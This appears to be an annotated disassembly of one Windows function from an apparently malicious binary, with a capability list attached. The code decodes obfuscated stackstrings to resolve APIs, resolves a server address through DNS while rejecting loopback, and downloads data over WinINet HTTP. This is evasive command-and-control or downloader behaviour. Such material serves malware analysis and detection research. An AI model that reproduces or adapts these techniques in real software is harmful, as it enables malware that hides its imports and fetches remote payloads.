Function at 0x14000196c
Capabilities:
Check http status code
Connect to http server
Contain obfuscated stackstrings
Encrypt data using speck
Link many functions at runtime
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x560
xor esi, esi
lea rax, [rbp + 0x20]
mov rdi, rdx
mov dword [rbp + 4], esi
lea r9, [rbp + 0x4b8]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 8]
lea rdx, [rbp + 0x4b0]
lea r15d, [rsi + 7]
call fcn.140001710
test eax, eax
je 0x140002410
lea r8, [rbp]
mov dword [rbp], 0x208
lea rdx, [rbp + 0x250]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_ObtainUserAgentString]
test eax, eax
jne 0x1400023e6
mov byte [rsp + 0x48], 0x66
xor r9d, r9d
mov byte [rsp + 0x49], 0x7c
mov r12d, 0x81020409
mov byte [rsp + 0x4a], 4
mov byte [rsp + 0x4b], 0x32
mov byte [rsp + 0x4c], 0x2c
mov byte [rsp + 0x4d], 0x7c
mov byte [rsp + 0x4e], 0x32
mov byte [rsp + 0x4f], 4
mov byte [rsp + 0x50], 0x6d
mov byte [rsp + 0x51], 0x54
mov byte [rsp + 0x52], 0x32
mov byte [rsp + 0x53], 0x7c
mov byte [rsp + 0x54], 8
mov byte [rsp + 0x55], 0x26
mov al, byte [rsp + 0x48]
movzx ecx, byte [rsp + r9 + 0x48]
mov eax, r12d
sub ecx, 0x26
imul r8d, ecx, 0x13
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x48], r8b
inc r9
cmp r9, 0xe
jb 0x140001a41
mov byte [rsp + 0x58], 0x4c
xor r8d, r8d
mov byte [rsp + 0x59], 0x35
mov byte [rsp + 0x5a], 0x22
mov byte [rsp + 0x5b], 0x35
mov byte [rsp + 0x5c], 0x22
mov byte [rsp + 0x5d], 0x77
mov byte [rsp + 0x5e], 0x3e
mov byte [rsp + 0x5f], 0x4a
mov byte [rsp + 0x60], 0x48
mov byte [rsp + 0x61], 0x43
mov byte [rsp + 0x62], 0x43
mov byte [rsp + 0x63], 0x47
mov al, byte [rsp + 0x58]
movzx ecx, byte [rsp + r8 + 0x58]
mov eax, 0x47
sub eax, ecx
imul ecx, eax, 0x1b
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r12d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x58], cl
inc r8
cmp r8, 0xc
jb 0x140001ad5
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], esi
lea rcx, [rbp + 0x250]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov qword [rbp + 0x18], rax
test rax, rax
je 0x1400023e6
mov rax, qword [rbp - 8]
xor edx, edx
mov rcx, rax
mov qword [rbp - 0x38], rax
lea r8d, [rdx + 0x2e]
call qword [sym.imp.SHLWAPI.dll_StrRChrA]
mov r9, rax
test rax, rax
je 0x140001e44
mov byte [rsp + 0x40], 0x59
xor r8d, r8d
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 2
mov byte [rsp + 0x43], 0x31
mov byte [rsp + 0x44], 2
mov byte [rsp + 0x45], 0x64
mov byte [rsp + 0x46], 0x21
mov al, byte [rsp + 0x40]
movzx ecx, byte [rsp + r8 + 0x40]
mov eax, 0x21
sub eax, ecx
lea ecx, [rax + rax*4]
mov eax, r12d
shl ecx, 3
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r12d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x40], cl
inc r8
cmp r8, r15
jb 0x140001baa
lea rdx, [rsp + 0x40]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140001e44
lea rcx, str.dnsapi.dll
or ebx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140001c37
lea rcx, str.dnsapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
lea rdx, str.DnsQuery_A
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DnsRecordListFree
mov rcx, rdi
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test r13, r13
je 0x140001e4a
test rax, rax
je 0x140001e37
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001e4a
xor ecx, ecx
mov dword [rax], 1
mov qword [rbp - 0x10], rcx
lea rsi, [0x1400210c0]
xor r14d, r14d
mov edx, dword [rsi]
mov dword [rdi + 4], edx
test rcx, rcx
je 0x140001cc0
mov edx, 1
call r12
and qword [rbp - 0x10], 0
and qword [rsp + 0x28], 0
lea rax, [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov edx, 1
mov r9, rdi
mov qword [rsp + 0x20], rax
mov r8d, 0xc8
call r13
mov rcx, qword [rbp - 0x10]
test eax, eax
jne 0x140001cfa
cmp dword [rcx + 0x20], eax
je 0x140001cfa
cmp dword [rcx + 0x20], 0x7f000001
jne 0x140001d09
inc r14d
add rsi, 4
cmp r14d, 5
jae 0x140001d0c
jmp 0x140001ca9
mov ebx, dword [rcx + 0x20]
test rcx, rcx
je 0x140001d1e
mov edx, 1
call r12
and qword [rbp - 0x10], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12d, 0x81020409
cmp ebx, 0xffffffff
je 0x140001e32
mov byte [rsp + 0x68], 0x59
xor r9d, r9d
mov byte [rsp + 0x69], 0x2d
mov byte [rsp + 0x6a], 1
mov byte [rsp + 0x6b], 0x59
mov byte [rsp + 0x6c], 0x2d
mov byte [rsp + 0x6d], 1
mov byte [rsp + 0x6e], 0x59
mov byte [rsp + 0x6f], 0x2d
mov byte [rsp + 0x70], 1
mov byte [rsp + 0x71], 0x59
mov byte [rsp + 0x72], 0x2d
mov byte [rsp + 0x73], 0x62
mov al, byte [rsp + 0x68]
movzx ecx, byte [rsp + r9 + 0x68]
mov eax, r12d
sub ecx, 0x62
lea r8d, [rcx + rcx*4]
add r8d, r8d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x68], r8b
inc r9
cmp r9, 0xc
jb 0x140001d84
mov eax, ebx
xor eax, 0xfeffffff
sar eax, 0x18
movzx r8d, al
mov eax, ebx
xor eax, 0xfffeffff
mov dword [rsp + 0x30], r8d
sar eax, 0x10
lea r8, [rsp + 0x68]
movzx edx, al
mov eax, ebx
mov dword [rsp + 0x28], edx
xor eax, 0xfffffeff
sar eax, 8
xor ebx, 0xfffffffe
movzx ecx, al
mov edx, 0x104
mov dword [rsp + 0x20], ecx
lea rcx, [rbp + 0x30]
movzx r9d, bl
call fcn.140001008
lea rdx, [rbp + 0x30]
mov esi, 1
jmp 0x140001e54
mov esi, dword [rbp + 4]
jmp 0x140001e50
mov rdi, qword [rbp + 0x4a8]
mov r12d, 0x81020409
mov rdx, qword [rbp - 0x38]
jmp 0x140001e5b
mov r12d, 0x81020409
mov rdx, qword [rbp - 0x38]
mov rdi, qword [rbp + 0x4a8]
and qword [rsp + 0x38], 0
xor r9d, r9d
and dword [rsp + 0x30], 0
mov r14, qword [rbp + 0x18]
movzx r8d, word [rbp + 0x4b8]
mov rcx, r14
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r13, rax
test rax, rax
je 0x1400023dd
mov ebx, dword [rbp + 0x4b0]
mov ecx, 0x4080000
mov r8, qword [rbp + 0x20]
mov eax, 0x4883000
cmp ebx, 4
mov rdx, rdi
cmove ecx, eax
and qword [rsp + 0x38], 0
mov dword [rsp + 0x30], ecx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r13
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rdi, rax
test rax, rax
je 0x1400023d4
test esi, esi
je 0x140001fa7
mov byte [rbp - 0x48], 0x68
xor r10d, r10d
mov byte [rbp - 0x47], 5
mov byte [rbp - 0x46], 0x49
mov byte [rbp - 0x45], 0x5a
mov byte [rbp - 0x44], 0x78
mov byte [rbp - 0x43], 0x3b
mov byte [rbp - 0x42], 0x11
mov byte [rbp - 0x41], 0x49
mov byte [rbp - 0x40], 0x75
mov byte [rbp - 0x3f], 0x42
mov byte [rbp - 0x3e], 0x17
mov al, byte [rbp - 0x48]
movzx ecx, byte [rbp + r10 - 0x48]
mov eax, r12d
sub ecx, 0x17
imul r9d, ecx, 0xf
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov eax, r12d
add r9d, 0x7f
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rbp + r10 - 0x48], r9b
inc r10
cmp r10, 0xb
jb 0x140001f1d
mov r9, qword [rbp - 8]
lea r8, [rbp - 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x140]
call fcn.140001008
mov r9d, 0xa0000000
lea rdx, [rbp + 0x140]
or r8d, 0xffffffff
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov ebx, dword [rbp + 0x4b0]
cmp ebx, 4
jne 0x140001fc6
mov r9d, ebx
mov dword [rbp + 8], 0x4380
lea r8, [rbp + 8]
mov rcx, rdi
lea edx, [rbx + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001feb
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400023cb
and qword [rsp + 0x20], 0
lea r9, [rbp + 0xc]
lea r8, [rbp - 0x18]
mov dword [rbp + 0xc], 4
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1400023cb
cmp dword [rbp - 0x18], 0xc8
je 0x14000203d
cmp dword [rbp - 0x18], 0x194
mov r15d, 2
jne 0x1400023cb
mov r15d, 1
jmp 0x1400023cb
mov r14, qword [rbp + 0x4c0]
test r14, r14
je 0x1400023c4
mov rsi, qword [rbp + 0x4c8]
mov byte [rbp - 0x68], 0x6d
xor r9d, r9d
mov byte [rbp - 0x67], 0x28
mov byte [rbp - 0x66], 0x46
mov byte [rbp - 0x65], 0x7a
mov byte [rbp - 0x64], 0x3c
mov byte [rbp - 0x63], 0x28
mov byte [rbp - 0x62], 0x7a
mov byte [rbp - 0x61], 0x46
mov byte [rbp - 0x60], 0x16
mov byte [rbp - 0x5f], 0x4b
mov byte [rbp - 0x5e], 0x7a
mov byte [rbp - 0x5d], 0x3c
mov byte [rbp - 0x5c], 0x5f
mov byte [rbp - 0x5b], 0x54
mov byte [rbp - 0x5a], 0x66
mov byte [rbp - 0x59], 0x46
mov byte [rbp - 0x58], 0x66
mov byte [rbp - 0x57], 0x45
mov byte [rbp - 0x56], 0x50
mov byte [rbp - 0x55], 0x66
mov byte [rbp - 0x54], 0xf
mov byte [rbp - 0x53], 0x1e
mov byte [rbp - 0x52], 0x66
mov byte [rbp - 0x51], 0x6b
mov byte [rbp - 0x50], 0x1e
mov byte [rbp - 0x4f], 0x7a
mov byte [rbp - 0x4e], 0x7d
mov al, byte [rbp - 0x68]
movzx ecx, byte [rbp + r9 - 0x68]
mov eax, r12d
sub ecx, 0x7d
imul r8d, ecx, 0x33
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x68], r8b
inc r9
cmp r9, 0x1b
jb 0x1400020c6
mov byte [rsp + 0x78], 0x57
xor r9d, r9d
mov byte [rsp + 0x79], 0x1d
mov byte [rsp + 0x7a], 0x56
mov byte [rsp + 0x7b], 0x1d
mov byte [rsp + 0x7c], 0x56
mov byte [rsp + 0x7d], 0x55
mov byte [rsp + 0x7e], 2
mov byte [rsp + 0x7f], 0x5d
mov byte [rbp - 0x80], 0x63
mov byte [rbp - 0x7f], 0x72
mov byte [rbp - 0x7e], 0x72
mov byte [rbp - 0x7d], 0x66
mov al, byte [rsp + 0x78]
movzx ecx, byte [rsp + r9 + 0x78]
mov eax, r12d
sub ecx, 0x66
lea r8d, [rcx + rcx*8]
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x78], r8b
inc r9
cmp r9, 0xc
jb 0x140002156
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [rbp + 0x4d0]
xor r8d, r8d
mov rcx, rdi
call rax
test eax, eax
je 0x14000239e
mov ecx, dword [rbp + 0x4d0]
test ecx, ecx
je 0x1400023c4
mov r12, qword [r14]
test r12, r12
jne 0x14000220a
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [r12 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x140002228
mov ebx, dword [rsi]
add ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, r12
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [r14], rax
test rax, rax
je 0x14000239e
mov byte [rbp - 0x30], 0x49
xor r8d, r8d
mov byte [rbp - 0x2f], 0x23
mov r12d, 0x81020409
mov byte [rbp - 0x2e], 0x2e
mov byte [rbp - 0x2d], 0x52
mov byte [rbp - 0x2c], 0
mov byte [rbp - 0x2b], 0x23
mov byte [rbp - 0x2a], 0x52
mov byte [rbp - 0x29], 0x2e
mov byte [rbp - 0x28], 0x1a
mov byte [rbp - 0x27], 0x52
mov byte [rbp - 0x26], 0x75
mov byte [rbp - 0x25], 0x3b
mov byte [rbp - 0x24], 4
mov byte [rbp - 0x23], 0x2f
mov byte [rbp - 0x22], 0x74
mov byte [rbp - 0x21], 0x52
mov byte [rbp - 0x20], 0x2d
mov al, byte [rbp - 0x30]
movzx ecx, byte [rbp + r8 - 0x30]
mov eax, 0x2d
sub eax, ecx
imul ecx, eax, 0xb
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r12d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x30], cl
inc r8
cmp r8, 0x11
jb 0x140002284
mov byte [rbp - 0x78], 0x5c
xor r9d, r9d
mov byte [rbp - 0x77], 0x70
mov byte [rbp - 0x76], 0x7b
mov byte [rbp - 0x75], 0x70
mov byte [rbp - 0x74], 0x7b
mov byte [rbp - 0x73], 0x1b
mov byte [rbp - 0x72], 0x3c
mov byte [rbp - 0x71], 0x21
mov byte [rbp - 0x70], 0x65
mov byte [rbp - 0x6f], 0x11
mov byte [rbp - 0x6e], 0x11
mov byte [rbp - 0x6d], 8
mov al, byte [rbp - 0x78]
movzx ecx, byte [rbp + r9 - 0x78]
mov eax, r12d
sub ecx, 8
lea r8d, [rcx + rcx*2]
shl r8d, 2
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, r12d
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x78], r8b
inc r9
cmp r9, 0xc
jb 0x140002307
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [rsi]
lea r9, [rbp + 0x10]
add rdx, qword [r14]
mov rcx, rdi
mov r8d, dword [rbp + 0x4d0]
call rax
test eax, eax
je 0x14000239e
mov eax, dword [rbp + 0x4d0]
cmp dword [rbp + 0x10], eax
jne 0x14000239e
add dword [rsi], eax
jmp 0x140002054
mov rbx, qword [r14]
test rbx, rbx
je 0x1400023ba
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rsi, rsi
je 0x1400023c7
and dword [rsi], 0
jmp 0x1400023c7
xor r15d, r15d
mov r14, qword [rbp + 0x18]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x5a0]
mov eax, r15d
add rsp, 0x560
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret